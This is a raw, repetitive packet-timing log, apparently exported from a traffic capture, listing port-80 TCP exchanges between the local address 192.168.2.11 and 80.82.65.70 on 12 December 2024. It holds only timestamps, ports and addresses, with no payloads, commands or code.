                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.244704008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.244707108 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.244893074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.245287895 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.245368004 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.245451927 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.245515108 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246042013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246095896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246145010 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246296883 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246829033 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246912003 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.246928930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.247000933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.311722994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.311747074 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.311815023 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.312170029 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.312241077 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.312258959 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.312308073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313052893 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313174963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313365936 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313718081 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313782930 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.313836098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.314605951 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.314702988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.314766884 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.315273046 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.315342903 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.315388918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316150904 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316184998 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316201925 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316224098 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316788912 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316838026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.316993952 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.317212105 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.317621946 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.317711115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.317718983 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.317766905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.318536043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.318656921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.318697929 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.319139004 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.319273949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.319334984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.319940090 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320003033 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320066929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320353031 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320710897 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320812941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320815086 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.320854902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.321533918 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.321646929 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.321697950 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.322331905 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.322374105 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.322424889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323091984 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323156118 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323185921 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323230982 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323873043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323944092 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.323952913 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.324014902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.324681997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.324805975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.324867964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.325544119 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.325613976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.325654984 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.325680017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.326175928 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.326265097 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.326477051 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.326561928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327080965 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327158928 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327179909 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327255964 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327795982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327939987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.327999115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.328568935 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.328633070 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.328648090 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.328681946 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.329336882 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.329392910 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.329471111 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.329521894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330089092 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330210924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330250025 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330296040 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330904007 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.330992937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.331007957 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.331075907 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.331832886 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.331962109 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.332035065 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.332657099 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.332712889 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.332792044 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.332864046 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.333959103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.334016085 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.334081888 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.334428072 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.334580898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.334641933 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.388753891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.388776064 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.388942003 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.388941050 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.388963938 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.389008999 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.389748096 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.389853001 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.389902115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.390475035 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.390571117 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.390614986 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424432993 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424468994 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424559116 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424587011 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424640894 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.424680948 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.425379038 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.425436974 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.425551891 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.425796032 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.426105976 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.426202059 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.426239014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.426310062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.426882982 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427047014 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427098989 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427680969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427830935 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427845955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.427913904 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.428468943 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.428524017 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.428587914 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.428657055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.429229975 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.429310083 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.429373026 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.429434061 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.430047989 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.430109978 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.430185080 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.430793047 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.430979013 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.431054115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.431622028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.431665897 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.431756020 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.432363987 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.432415009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.432470083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.432831049 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433136940 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433227062 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433248997 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433305025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433944941 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433985949 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.433994055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.434350014 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.434739113 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.434819937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.434838057 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.434885025 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.435499907 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.435553074 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.435626030 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.435697079 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.436347961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.436391115 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.436450005 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437057018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437210083 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437262058 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437881947 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437901974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.437962055 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.438618898 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.438735008 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.438787937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.439384937 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.439517975 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504162073 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504179955 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504199028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504314899 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504338026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504338026 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504390955 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504806042 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504864931 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504905939 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.504954100 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.505533934 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.505595922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.505659103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.505659103 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.506261110 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.506330967 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.506401062 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.506702900 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507047892 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507107019 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507143974 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507191896 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507823944 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507893085 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507949114 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.507988930 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.508615971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.508671045 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.508733988 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.508785009 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.509423018 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.509526968 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.509581089 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.510154963 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.510195971 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.510217905 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.510246038 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.510987043 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511054993 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511122942 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511179924 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511768103 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511847973 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511854887 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.511909008 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.512490034 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.512567043 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.512593031 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.512792110 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.513293028 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.513490915 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.513541937 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514092922 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514234066 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514239073 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514288902 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514858961 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514899969 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514909983 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.514938116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.515625000 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.515708923 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.515744925 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.515851021 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.516419888 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.516518116 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.516581059 CET804981980.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.516621113 CET4981980192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:05.517256975 CET804981980.82.65.70192.168.2.11
